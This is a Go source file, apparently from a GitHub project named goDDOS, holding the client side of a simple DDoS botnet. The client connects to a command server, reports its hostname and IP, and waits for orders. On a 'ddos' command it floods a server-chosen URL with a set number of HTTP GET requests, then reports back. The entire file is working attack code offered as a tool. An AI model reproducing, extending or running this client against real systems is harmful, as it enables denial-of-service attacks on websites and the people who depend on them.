goDDOS/v1/client/main.go
v1/client/main.goRaw
1package main
2
3import (
4 "bufio"
5 "fmt"
6 "net"
7 "net/http"
8 "os"
9 "strconv"
10 "strings"
11 "time"
12)
13
14const (
15 CONN_HOST = "localhost"
16 CONN_PORT = "3333"
17 CONN_TYPE = "tcp"
18 sleeptime = 3000
19)
20
21func stablishConn() (conn net.Conn, err error) {
22 // connect to this socket
23 conn, err = net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
24 return conn, err
25}
26func tryToConnect() (conn net.Conn, err error) {
27 fmt.Println("trying to connect to the server")
28 connected := false
29 conn, err = stablishConn()
30 for connected == false {
31 conn, err = stablishConn()
32 if err != nil {
33 fmt.Println(err)
34 fmt.Println("server not connected, sleep for " + strconv.Itoa(sleeptime) + " to try again")
35 time.Sleep(sleeptime * time.Millisecond)
36 //os.Exit(1)
37 } else {
38 connected = true
39 }
40 }
41 return conn, err
42}
43func main() {
44 conn, err := tryToConnect()
45 hostname, err := os.Hostname()
46 if err != nil {
47 fmt.Println(err)
48 os.Exit(1)
49 }
50 fmt.Println("connecting to server as hostname:", hostname)
51 ip := getIp()
52 fmt.Println("local ip:", ip)
53 // send to socket
54 fmt.Fprintf(conn, "[client connecting] - [date]: "+time.Now().Local().Format(time.UnixDate)+" - [hostname]: "+hostname+", [ip]: "+ip.String()+"\n")
55 for {
56 command, err := bufio.NewReader(conn).ReadString('\n')
57 if err != nil {
58 fmt.Println(err)
59 fmt.Println("server disconnected")
60 //os.Exit(1)
61 conn, err = tryToConnect()
62 }
63 fmt.Println("Command from server: " + command)
64 //fmt.Println(len(strings.Split(command, " ")))
65
66 comm := strings.Split(command, " ")[0]
67 switch comm {
68 case "ddos":
69 fmt.Println("url case, checking parameters")
70 if len(strings.Split(command, " ")) < 3 {
71 fmt.Println("not enought parameters")
72 break
73 }
74 fmt.Println("url case")
75 go ddos(command, conn, hostname)
76 default:
77 fmt.Println("default case, no specified command")
78 fmt.Println("")
79 fmt.Println("-- waiting for new orders --")
80 }
81
82 }
83
84}
85
86func ddos(command string, conn net.Conn, hostname string) {
87 url := strings.Split(command, " ")[1]
88 url = strings.TrimSpace(url)
89
90 iterations := strings.Split(command, " ")[2]
91 iterations = strings.TrimSpace(iterations)
92 iter, err := strconv.Atoi(iterations)
93 if err != nil {
94 fmt.Println(err)
95 }
96 fmt.Println("url to ddos: " + url)
97 for i := 0; i < iter; i++ {
98 fmt.Println(i)
99 resp, err := http.Get(url)
100 if err != nil {
101 fmt.Println(err)
102 }
103 fmt.Println(resp)
104 }
105 msg := "[hostname]: " + hostname + ", [msg]: iterations done, ddos ended" + "[date]: " + time.Now().Local().Format(time.UnixDate)
106 fmt.Println(msg)
107 fmt.Fprintf(conn, msg+"\n")
108 fmt.Println("")
109 fmt.Println("-- waiting for new orders --")
110}
111
112func getIp() net.IP {
113 var ip net.IP
114 ifaces, err := net.Interfaces()
115 if err != nil {
116 fmt.Println(err)
117 }
118 for _, i := range ifaces {
119 addrs, err := i.Addrs()
120 if err != nil {
121 fmt.Println(err)
122 }
123 for _, addr := range addrs {
124 switch v := addr.(type) {
125 case *net.IPNet:
126 ip = v.IP
127 case *net.IPAddr:
128 ip = v.IP
129 }
130 }
131 }
132 return ip
133}